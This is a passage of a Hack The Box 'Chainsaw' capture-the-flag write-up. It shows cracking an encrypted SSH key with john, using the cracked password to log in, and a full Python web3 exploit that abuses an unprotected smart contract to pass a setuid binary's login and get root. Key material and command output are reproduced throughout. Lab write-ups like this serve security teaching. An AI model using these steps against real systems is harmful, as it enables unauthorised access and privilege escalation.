/dev/null -rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc administrator@chainsaw:/home/administrator$
The email had his encrypted ssh
key as an attachment:
administrator@chainsaw:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF X-Pm-Origin: internal X-Pm-Content-Encryption: end-to-end Subject: Ubuntu Server Private RSA Key From: IT Department <[email protected]> Date: Thu, 13 Dec 2018 19:28:54 +0000 Mime-Version: 1.0 Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93 To: [email protected] <[email protected]> X-Attached: bobby.key.enc Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1NH4krcpgGz7h-PorsytjrT3sA9Ju8WNuWaRAnbE0CY0nIk2WmuwOvOnmRhHPoU=@protonmail.ch> Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500 X-Original-To: [email protected] Return-Path: <[email protected]> Delivered-To: [email protected] -----------------------d296272d7cb599bff2a1ddf6d6374d93 Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451 -----------------------ffced83f318ffbd54e80374f045d2451 Content-Type: text/html;charset=utf-8 Content-Transfer-Encoding: base64 PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48 YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g RGVwYXJ0bWVudDxicj48L2Rpdj4= -----------------------ffced83f318ffbd54e80374f045d2451-- -----------------------d296272d7cb599bff2a1ddf6d6374d93 Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc" LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0 dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2 eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240 UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2 RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5 U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5 OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10 b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3 RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3 PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0= -----------------------d296272d7cb599bff2a1ddf6d6374d93-- administrator@chainsaw:/home/administrator$
I copied it to my box:
root@kali:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64 root@kali:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc root@kali:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,53D881F299BA8503 SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk 7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6 fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2 yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6 G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0 hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi 4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/ edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX 15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w== root@kali:~/Desktop/HTB/boxes/chainsaw#
I used ssh2john.py
to get the hash of the key in john
format then I used john
with rockyou.txt
to crack it:
root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash root@kali:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status jackychain (./bobby.key.enc) 1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos! Session completed root@kali:~/Desktop/HTB/boxes/chainsaw#
Password: jackychain
, let’s ssh
into the box as bobby
:
root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected] Enter passphrase for key 'bobby.key.enc': bobby@chainsaw:~$ whoami bobby bobby@chainsaw:~$ id uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip) bobby@chainsaw:~$ ls -la total 52 drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 . drwxr-xr-x 4 root root 4096 Dec 12 2018 .. lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null -rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout -rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local -rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh -r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt -rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts bobby@chainsaw:~$
We owned user.
ChainsawClub: Analysis
In bobby
’s home directory there was a directory called projects
which had a project called ChainsawClub
, Inside that directory there was another smart contract:
bobby@chainsaw:~$ cd projects/ bobby@chainsaw:~/projects$ ls -al total 12 drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 . drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .. drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub bobby@chainsaw:~/projects$ cd ChainsawClub/ bobby@chainsaw:~/projects/ChainsawClub$ ls -al total 156 drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 . drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .. -rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt -rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub -rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json -rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol bobby@chainsaw:~/projects/ChainsawClub$
ChainsawClub.sol
:
pragma solidity ^0.4.22; contract ChainsawClub { string username = 'nobody'; string password = '7b455ca1ffcb9f3828cfdde4a396139e'; bool approve = false; uint totalSupply = 1000; uint userBalance = 0; function getUsername() public view returns (string) { return username; } function setUsername(string _value) public { username = _value; } function getPassword() public view returns (string) { return password; } function setPassword(string _value) public { password = _value; } function getApprove() public view returns (bool) { return approve; } function setApprove(bool _value) public { approve = _value; } function getSupply() public view returns (uint) { return totalSupply; } function getBalance() public view returns (uint) { return userBalance; } function transfer(uint _value) public { if (_value > 0 && _value <= totalSupply) { totalSupply -= _value; userBalance += _value; } } function reset() public { username = ''; password = ''; userBalance = 0; totalSupply = 1000; approve = false; } }
There was also a setuid
elf
executable called ChainsawClub
:
bobby@chainsaw:~/projects/ChainsawClub$ file ChainsawClub ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped bobby@chainsaw:~/projects/ChainsawClub$
When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub _ _ | | (_) ___| |__ __ _ _ _ __ ___ __ ___ __ / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / / | (__| | | | (_| | | | | \__ \ (_| |\ V V / \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/ club - Total supply: 1000 - 1 CHC = 51.08 EUR - Market cap: 51080 (€) [*] Please sign up first and then log in! [*] Entry based on merit. Username: Password: [*] Wrong credentials! ^C bobby@chainsaw:~/projects/ChainsawClub$
Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.
We’ll use:
setUsername()
to set the username
setPassword()
to set the password, it has to be md5
hashed as we saw:
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
setApprove()
to change approve
from false
to true
transfer()
to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply
and we can’t transfer more than that:
function transfer(uint _value) public { if (_value > 0 && _value <= totalSupply) { totalSupply -= _value; userBalance += _value; } }
Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.
ChainsawClub: Exploitation
I used netstat
to list the open ports, 63991 was open and listening on localhost
only so I assumed that it’s the port on which the contract is deployed:
bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - bobby@chainsaw:~/projects/ChainsawClub$
I got the ABI
of the contract like I did before:
And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected] Enter passphrase for key 'bobby.key.enc': bobby@chainsaw:~$
The exploit is similar to the first one.
ChainsawClubExploit.py
:
#!/usr/bin/python3 import json from web3 import Web3, eth from sys import argv from hashlib import md5 YELLOW = "\033[93m" GREEN = "\033[32m" def exploit(address, username, password, passhash): print(YELLOW + "[+] Starting") print(YELLOW + "[+] Connecting to localhost:63991") w3 = Web3(Web3.HTTPProvider('http://localhost:63991')) print(GREEN + "[*] Connection Established") w3.eth.defaultAccount = w3.eth.accounts[0] print(YELLOW + "[+] Creating the contract representation") print(YELLOW + "[+] Address: {}".format(address)) abi = json.loads('[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]') contract = w3.eth.contract(address=address, abi=abi) print(GREEN + "[*] Done") print(YELLOW + "[+] Calling setUsername() with: {}".format(username)) contract.functions.setUsername(username).transact() print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call()) print(YELLOW + "[+] Calling setPassword() with: {} ({})".format(passhash, password)) contract.functions.setPassword(passhash).transact() print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call()) print(YELLOW + "[+] Calling setApprove() with: True") contract.functions.setApprove(True).transact() print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call())) print(YELLOW + "[+] Calling transfer() with: 1000") contract.functions.transfer(1000).transact() print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call())) print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting...".format(username,password)) exit() if len(argv) != 4: print(YELLOW + "[!] Usage: {} [contract address] [username] [password]".format(argv[0])) exit() else: address = argv[1] username = argv[2] password = argv[3] passhash = md5(password.encode('utf-8')).hexdigest() exploit(address, username, password, passhash)
root@kali:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d [+] Starting [+] Connecting to localhost:63991 [*] Connection Established [+] Creating the contract representation [+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE [*] Done [+] Calling setUsername() with: rick [*] Done. getUsername(): rick [+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d) [*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00 [+] Calling setApprove() with: True [*] Done. getApprove(): True [+] Calling transfer() with: 1000 [*] Done. getBalance(): 1000 [+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting... root@kali:~/Desktop/HTB/boxes/chainsaw#
After authenticating I got a root shell:
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub _ _ | | (_) ___| |__ __ _ _ _ __ ___ __ ___ __ / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / / | (__| | | | (_| | | | | \__ \ (_| |\ V V / \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/ club - Total supply: 1000 - 1 CHC = 51.08 EUR - Market cap: 51080 (€) [*] Please sign up first and then log in! [*] Entry based on merit. Username: rick Password: ************************ * Welcome to the club! * ************************ Rule #1: Do not get excited too fast. root@chainsaw:/home/bobby/projects/ChainsawClub# root@chainsaw:/home/bobby/projects/ChainsawClub# whoami root root@chainsaw:/home/bobby/projects/ChainsawClub# id uid=0(root) gid=0(root) groups=0(root) root@chainsaw:/home/bobby/projects/ChainsawClub#
However the root flag wasn’t there:
Slack Space –> Root Flag
root.txt
size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes ( 4096 - 52
) which is called “slack space”. (Check this page , and this one ).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap
:
bmap --mode slack root.txt --verbose
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read theprevious write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Networked
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK